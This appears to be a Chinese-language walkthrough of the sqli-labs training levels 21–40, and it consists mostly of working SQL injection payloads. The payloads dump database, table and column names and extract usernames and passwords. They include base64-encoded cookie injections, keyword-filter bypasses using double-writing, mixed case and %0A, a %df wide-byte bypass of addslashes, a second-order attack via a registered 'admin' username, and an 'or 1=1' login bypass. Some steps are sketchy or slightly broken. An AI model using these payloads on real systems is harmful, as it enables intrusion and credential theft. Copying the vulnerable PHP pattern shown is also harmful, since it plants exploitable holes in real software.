less-21
function check_input($value) |
通过查看源码,我们发现这道题不仅加了过滤(check_input),而且需要对cookie:uname进行base 64编码,这样才能匹配
测试:
Archived image unavailable
' union select 1,1,database() #
JyB1bmlvbiBzZWxlY3QgMSwxLGRhdGFiYXNlKCkgIw==
Archived image unavailable
根据报错,源码中是括号中的单引号,故语句应改为
爆库
') union select 1,1,database() #
JykgdW5pb24gc2VsZWN0IDEsMSxkYXRhYmFzZSgpICM=
放入burp中, Archived image unavailable
爆表
') union select 1,1,group_concat(table_name) from information_schema.tables where table_schema='security' #
JykgdW5pb24gc2VsZWN0IDEsMSxncm91cF9jb25jYXQodGFibGVfbmFtZSkgZnJvbSBpbmZvcm1hdGlvbl9zY2hlbWEudGFibGVzIHdoZXJlIHRhYmxlX3NjaGVtYT0nc2VjdXJpdHknICM=
Archived image unavailable
爆列
') union select 1,1,group_concat(column_name) from information_schema.columns where table_name='users' #
JykgdW5pb24gc2VsZWN0IDEsMSxncm91cF9jb25jYXQoY29sdW1uX25hbWUpIGZyb20gaW5mb3JtYXRpb25fc2NoZW1hLmNvbHVtbnMgd2hlcmUgdGFibGVfbmFtZT0ndXNlcnMnICM=
Archived image unavailable
爆值
') union select 1,1,group_concat(username,password) from users#
JykgdW5pb24gc2VsZWN0IDEsMSxncm91cF9jb25jYXQodXNlcm5hbWUscGFzc3dvcmQpIGZyb20gdXNlcnMj
Archived image unavailable
less-22
看了源码发现和less-21差不多,所以这里只需要根据报错提示修改注入语句即可 测试 Archived image unavailable 在burp中输入以上发现报错 Archived image unavailable 故只需将【”)】改为【”】即可,重复less21的步骤。
less-23
if(isset($_GET['id'])) |
源码看似简单粗暴,但是它过滤了注释符,对我们接下来的操作造成短暂的不便,那怎么样才能绕过呢?这是一个关键的问题,我们用注释是为了达到闭合的效果,所以这里只需要改变一下查询语句的闭合位置。
测试:
输入?id=1’ 报错
Archived image unavailable
根据报错提示,发现注入参数是在一对单引号中。
注入语句:
id=0' union select 1,1,database() #
不显示。
找闭合点:
?id=1’ union select ‘1
?id=1’ union select 1 , ‘1
?id=1’ union select 1 , 1 ,’1
发现前来个都会报错,而最后一个不报错,说明当前查询表的列数是三列。
爆库
?id=0' union select 1,database(),'1
爆表
?id=0'%20 union%20 select%20 1, (select group_concat(table_name) from information_schema.tables where table_schema='security'),'1
爆列
?id=0'%20 union%20 select%20 1, (select group_concat(column_name) from information_schema.columns where table_name='users'),'1
爆值
?id=0'%20 union%20 select%20 1, (select group_concat(username,password) from users),'1
less-24
利用带有管理员账号的注册用户名,在修改密码的时候达到修改管理员账号密码的效果即可
注册用户名:admin’ or ‘1’=’1 密码为 admin
注册成功后,登录进去修改密码,将密码改为 123
更改后即可发现,admin用户的密码也被改成了123,
update tables set password=’123’ where username=’admin’ or ‘1’=’1’
less-25
过滤了or和and
故这里的and 用&&,anandd代替
or用||,oorr代替
注入id=1’,报错,根据报错提示发现注入参数被一对单引号包裹
测试:
?id=0’ union select 1,1,’1
测试成功。
爆库:
?id=0' union select 1,database(),'3
爆表:
?id=0' union select 1,(select group_concat(table_name) from information_schema.tables where table_schema='security'),'3
Archived image unavailable
发现爆错原来information中【or】被过滤了,只需把information改成infoorrmation即可
Archived image unavailable
爆列:
?id=0' union select 1,(select group_concat(column_name) from infoorrmation_schema.columns where table_name='users'),'3
爆值:
?id=0' union select 1,(select group_concat(username,password) from users,'3
less-26
Archived image unavailable 简单试了一下,过滤了所有空白字符,看了一下源码,发现过滤的还不少,想要绕过,难度有点大,听说注释法很管用/**/或者%0a,但是试了一下都不行。。。
less-27
看图标发现union,select,空格都被过滤了,所以想办法绕过:
1.双写,发现不行(unionunion selectselect)
2.大小写,测试通过(unIon%0ASelEcT%0A)
3.将以上两种结合,测试通过(UNionUNION%0ASeLectselect)
注入:
爆库:
?id=0' UNionUNION%0ASeLectselect%0A1,database(),'1
爆表:
?id=0' UNionUNION%0ASeLectselect%0A1,(seLect%0agroup_concat(table_name)%0afrom%0ainformation_schema.tables%0awhere%0atable_schema='security'),'1
爆值:
?id=0'%0AUNionUNION%0ASeLectselect%0A1,(SeLectselect%0Agroup_concat(username,password)%0Afrom%0Ausers),'1
Archived image unavailable
less-28
这关没有错误回显,所以只能试,
测试;
?id=1,注入成功。
?id=1’,不显示。
?id=1”,注入成功。
说明它不单单只有单引号这么简单,猜测它是?id=1’) ,注入成功。
注入:
与前面思路一致,只需绕过union+select
爆库:
?id=0')%0Aunionunion%0ASElect%0Aselect%0A1,database(),('1
less-29
这道题简单测试一下恢复正常,单引号注入,详细过程同上。
less-30
简单的测试发现不报错,也不显示,测试后发现注入1或者1’则成功,说明很可能在一对双引号里 注入:
|
function check_addslashes($string) { $string = preg_replace(‘/‘. preg_quote(‘\‘) .’/‘, “\\\“, $string); //escape any backslash $string = preg_replace(‘/'/i’, ‘\'‘, $string); //escape single quote with a backslash $string = preg_replace(‘/"/‘, “\"“, $string); //escape double quote with a backslash return $string; } $id=check_addslashes($_GET[‘id’]); $sql=”SELECT * FROM users WHERE id=’$id’ LIMIT 0,1”; $result=mysql_query($sql); $row = mysql_fetch_array($result); if($row) { echo ‘Your Login name:’. $row[‘username’]; echo ‘Your Password:’ .$row[‘password’]; }else{ print_r(mysql_error()); }
|
less-35
输入id=1’,报错 Archived image unavailable
根据报错发现没用单引号,id 没有被 ’ 符号包括起来,那我们就没有必要去考虑check_addslashes() 函数的意义了
爆库:
?id=0 union select 1,1,database() --+
爆表:
?id=0 union select 1,1,(select group_concat(table_name) from information_schema.tables where table_schema=database())--+
爆值:
?id=0 union select 1,group_concat(username),group_concat(password) from security.users where 1 #
less-36
爆库:
?id=0%df%27%20union%20select%201,1,database()--+
爆表:
?id=0%df%27%20union%20select%201,group_concat(table_name),1%20from%20information_schema.tables%20where%20table_schema=database()--+
爆值:
?id=0%df' union select 1,group_concat(username),group_concat(password) from security.users where 1 #
less-37
POST型 这里使用万能账号
uname:'or 1=1# |
less-38
爆库:
?id=0' union select 1,1,database()--+
爆表:
?id=0' union select 1,1,group_concat(table_name) from information_schema.tables where table_schema='security' --+
less-39
爆库:
?id=0 union select 1,1,database()--+
同38只不过变为?id=0去掉单引号
less40
注入1,1”都对,但是1‘不对,也不回显,故根据经验我猜测是’)。
测试:
?id=0') union select 1,1,1--+ Archived image unavailable
爆库:
?id=0') union select 1,1,1--+ Archived image unavailable
同上只是id=0变为id=0’)加上单引号和括号。